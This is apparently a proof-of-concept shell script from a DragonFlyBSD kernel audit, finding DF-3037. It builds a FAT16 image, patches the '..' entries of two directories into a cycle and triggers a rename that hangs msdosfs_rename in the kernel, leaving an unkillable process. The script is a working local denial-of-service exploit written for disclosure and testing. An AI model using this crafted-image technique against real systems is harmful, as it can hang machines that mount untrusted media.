DragonFlyBSD Kernel Audit
DF-3037 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3037 run script -- executes ON THE DRAGONFLY GUEST as root.
# Demonstrates: msdosfs_rename() never returns when the destination
# parent directory's ".." chain contains a crafted cycle (doscheckpath
# unbounded ancestor walk).  Control run (unpatched image) succeeds.
set -u
IMG=/tmp/cyc.img
VND=/dev/vn0
MNT=/mnt
T=/root/df3037

echo "=== [0] guest info ==="
uname -a

echo "=== [1] build base FAT16 image with A, A/moveme, B, D ==="
dd if=/dev/zero of=$IMG bs=1m count=16 2>&1 | tail -1
vnconfig -c $VND $IMG
newfs_msdos -F 16 $VND >/dev/null 2>&1 || newfs_msdos $VND >/dev/null 2>&1
mount_msdos $VND $MNT
mkdir $MNT/A $MNT/A/moveme $MNT/B $MNT/D
ls -la $MNT
umount $MNT
vnconfig -u $VND

echo "=== [2] map '.' entries ==="
$T/dirpatch $IMG | tee /tmp/dotmap.txt
# Expected: four dot entries; clusters (in creation order) A, moveme, B, D.

echo "=== [3] CONTROL: rename on the unpatched image ==="
vnconfig -c $VND $IMG
mount_msdos $VND $MNT
start=$(date +%s)
$T/trigger $MNT/A/moveme $MNT/B/m2
echo "control rc=$? elapsed=$(( $(date +%s) - start ))s"
ls $MNT/B
umount $MNT
vnconfig -u $VND

echo "=== [4] restore image (fresh) and patch B<->D '..' cycle ==="
dd if=/dev/zero of=$IMG bs=1m count=16 2>&1 | tail -1
vnconfig -c $VND $IMG
newfs_msdos -F 16 $VND >/dev/null 2>&1 || newfs_msdos $VND >/dev/null 2>&1
mount_msdos $VND $MNT
mkdir $MNT/A $MNT/A/moveme $MNT/B $MNT/D
umount $MNT
vnconfig -u $VND
$T/dirpatch $IMG > /tmp/dotmap.txt; cat /tmp/dotmap.txt
# parse: cluster Nth dot entry (order A=1st, moveme=2nd, B=3rd, D=4th)
B_OFF=$(grep 'dot at' /tmp/dotmap.txt | sed -n 3p | sed 's/.*off=\([0-9]*\).*/\1/')
D_OFF=$(grep 'dot at' /tmp/dotmap.txt | sed -n 4p | sed 's/.*off=\([0-9]*\).*/\1/')
B_CL=$(grep "off=$B_OFF " /tmp/dotmap.txt | sed 's/.*owncluster=\([0-9]*\).*/\1/')
D_CL=$(grep "off=$D_OFF " /tmp/dotmap.txt | sed 's/.*owncluster=\([0-9]*\).*/\1/')
echo "B: dotoff=$B_OFF cluster=$B_CL   D: dotoff=$D_OFF cluster=$D_CL"
$T/dirpatch $IMG p "$B_OFF" "$D_CL"
$T/dirpatch $IMG p "$D_OFF" "$B_CL"
echo "cycle installed: B/.. -> $D_CL, D/.. -> $B_CL"

echo "=== [5] EXPLOIT: rename under cycle (15s watchdog) ==="
vnconfig -c $VND $IMG
mount_msdos $VND $MNT
( $T/trigger $MNT/A/moveme $MNT/B/m2; echo "trigger-exited rc=$?" ) &
TPID=$!
sleep 15
if kill -0 $TPID 2>/dev/null; then
	echo "TRIGGER STILL RUNNING AFTER 15s -- attempting kill -9"
	kill -9 $TPID 2>/dev/null
	sleep 3
	if kill -0 $TPID 2>/dev/null; then
		echo "KILL -9 INEFFECTIVE (stuck in kernel) -- DoS CONFIRMED"
	else
		echo "process died on kill -9"
	fi
else
	wait $TPID
fi
echo "--- process state ---"
ps aux | grep -E 'trigger|mv ' | grep -v grep
echo "--- system still usable (other CPUs)? ---"
date; uptime
echo "--- dmesg tail ---"
dmesg | tail -5
echo "NOTE: mount $MNT is now unkillable-held; guest must be reset."